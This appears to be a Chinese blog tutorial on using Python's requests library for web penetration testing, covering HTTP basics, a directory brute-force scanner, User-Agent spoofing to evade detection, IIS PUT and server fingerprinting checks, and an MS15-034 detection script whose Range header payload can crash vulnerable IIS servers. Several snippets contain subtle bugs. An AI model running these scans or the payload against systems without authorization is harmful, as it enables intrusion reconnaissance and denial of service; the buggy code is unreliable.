Python模块-requests(HTTP)

HTTP协议介绍

  • 协议分类:
    HTTP 1.0,使用的是80端口,一次一个连接。明文传输,不安全。
    HTTP 1.1,使用的是80端口,可多次一个连接。明文传输,不安全。
    HTTPS,使用的是443端口,可多次一个连接。加密传输。

  • 请求方法:


HTTP1.0HTTP1.1
GETGET
POSTPOST
HEADHEAD
PUT
DELETE
TRACE
CONNET
PATCH
  • URL格式:
    协议://主机名.域名/文件夹/文件夹/文件?参数1=值1&参数2=值2

  • HTTP请求头
    user-agent:浏览器的版本信息
    Accept-encoding:浏览器接收的编码
    Referer:当前页面是从哪里跳转过来的
    Cookie:
    Location:跳转到哪里
    Set-Cookie:设置Cookie信息(在HTTP响应头)
    WWW-Authenticate:用于身份验证信息HTTP、Basic等

  • HTTP响应状态码
    1xx:信息提示
    2xx:请求响应成功
    3xx:重定向
    4xx:客户端错误
    5xx:服务端错误

  • HTTP 请求:
    浏览器审查工具、BurpSuite等

Python-HTTP请求

  • GET请求
    1、不带参数:requests.get(url)
    2、带参数:r.url获取请求URL
import requests
url="http://httpbin.org/get/ "
payload={'key1':'value1','key2':'value2',}
r=requests.get(url,params=payload)
print(r.status_code)	#获取响应码
print(r.url)	#获取请求的URL
  • POST请求
    1、不带参数:requests.post(url)
    2、带参数:r.url获取请求URL
import requests
url="http://httpbin.org/get/ "
payload={'key1':'value1','key2':'value2',}
r=requests.post(url,data=payload)
print(r.status_code)	#获取响应码
print(r.url)	#获取请求的URL
  • 自定义请求
import requests
url="http://127.0.0.1/brute/brute_get.php"
zdy={'User-agent':'hehe'}   #导入请求头选项,并附上value   
r=requests.get(url,header=zdy)  #以GET形式请求,并传入自定义的header
print(r.requests.headers)	#获取请求头
  • 其他请求
方法解释
requests.request()构造一个请求,支持以下各种方法
requests.get()获取html的主要方法
requests.head()获取html头部信息的主要方法
requests.post()向html网页提交post请求的方法
requests.put()向html网页提交put请求的方法
requests.patch()向html提交局部修改的请求
requests.delete()向html提交删除请求

Python-HTTP响应

import requests
url="https://www.baidu.com/"
r=requests.get(url)
print(r.text)   #获取响应包
print(r.content)    #二进制的形式获取响应包
print(r.status_code)    #获取响应码
print(r.url)        #获取请求包的URL
print(r.request.headers)    #获取请求头
print(r.headers)    #获取响应头
print(r.cookies)    #获取cookie

Python-HTTP代理

import requests
url='https://www.baidu.com'
proxise={'http':'http://192.168.83.138:8080','https':'https://192.168.83.138:8080'}
r=requests.get(url,proxies=proxise,verify=False)
print(r.status_code)

Python-HTTP会话编程

url='https://www.baidu.com'
s=requests.session()    #初始化一个session对象
r=s.get(url)    #首次请求,无cookie
print(r.cookies)
print(r.request.headers)

r2=s.get(url)   #再次请求时,会带上首次响应返回的cookie值
print(r2.request.headers)

Python 目录扫描工具

  • 目录扫描原理
    1、读取字典文件,拼接URL。
    2、HTTP GET请求URL。
    3、判断状态码,输出存在目录。

  • 字典文件读取

with open("filename.txt","r") as f		#打开字典文件,with:读取完就关闭。
f.readline()		#读取一行
f.readlines()		#读取全部文件
f.read(x)		#读取x个字节	
  • 工具编写
    1、读取字典文件
    2、HTTP GET请求
    3、参数优化
import requests

url='https://github.com/'
with open('dir.txt','r') as f:
    for line in f.readlines():
        line = line.strip()     #字典中换行会当成空行,所以strip()可以去除
        print(line)
        r=requests.get(url+line)    #拼接url和line
        if r.status_code==200:      #判断响应码是否为200
            print('ulr:'+r.url+'exist')     #如果响应啊为200时,打印出请求的URL
  • 设置User-Agent,在扫描时非通常的User-Agent可触发被扫描对象的发觉,所以可以“伪造”成通常的User-Agent。更逼真一些,也可以早扫描时导入一个User-Agent字典,让每一个请求包的User-Agent都不相同。
import requests
url='https://www.baidu.com'
s={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36'}
r=requests.get(url,headers=s)
print(r.request.headers)

Python - IIS PUT漏洞探测工具

import requests
url='http://192.168.83.141:8006/'
r=requests.options(url)
print(r.headers)    #响应头以字典的形式获取到
result=r.headers['Public']  #获取Public
if result.find('PUT') and result.find('MOVE'):  #查找响应头中的public中是否有‘PUT’,‘MOVE’
    print('exist IIS put val')
else:
    print('not exist')

Python 获取HTTP服务器信息

  • 以Windows 2003为例
import requests
url='http://192.168.83.141:8006/'
r=requests.get(url)
print(r.headers)
print("服务器中间件为:"+r.headers['Server'])
print("服务器脚本语言:"+r.headers['X-Powered-By'])

Python 漏洞检测工具

  • 漏洞原理:
    漏洞被披露之后,根据漏洞原理写出对应的PoC代码,用来验证漏洞是否存在。
    写PoC代码,首先要了解漏洞原理。
  • 编写代码:
    以ms15-034为例:
    Payload:‘Host’: ‘stuff’,‘Range’: ‘bytes=0-18446744073709551615’
url='target_ip'
r=requests.get(url)     #先发送一个请求,以便获取响应头
remote_server= r.headers['Server']  #获取响应头的Server
if remote_server.find('IIS/7.5') or remote_server.find('8.0'):  #判断系统中间件是否为IIS/7.5或IIS/8.0
    payload={'Host': 'stuff','Range': 'bytes=0-18446744073709551615'}   #该漏洞的Payload
    r1=requests.get(url,headers=payload)    #加载上payload,发送请求。
    if str(r1.content).find('Requested Range Not Satisfiable'):     #判断响应包中是否有'Requested Range Not Satisfiable'字符串
        print(url + 'exist vuln ms15-034')  #如果有就说明存在漏洞
    else:
        print(url + 'not exist vuln ms15-034')
else:
    print('Server not a iis 7.5 or iis 8.0')
  • 验证检测代码检测效果:
    搭建漏洞环境用于测试。
    与其他工具进行效果对比。

站点地图构建(完整目录与文件)

  • 测试Web APP首要任务,获取站点的完整目录与文件。
  • 技术种类:
    1、通过基于字典的目录文件扫描(爆破),再通过响应状态码确定是否存在,使用Python的requests模块即可完成。
    2、通过基于网络爬虫,使用Python的Scrapy模块即可完成。
  • BurpSuite构建站点地图,通过Spider模块(爬虫)、Intruder模块(爆破)即可完成。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值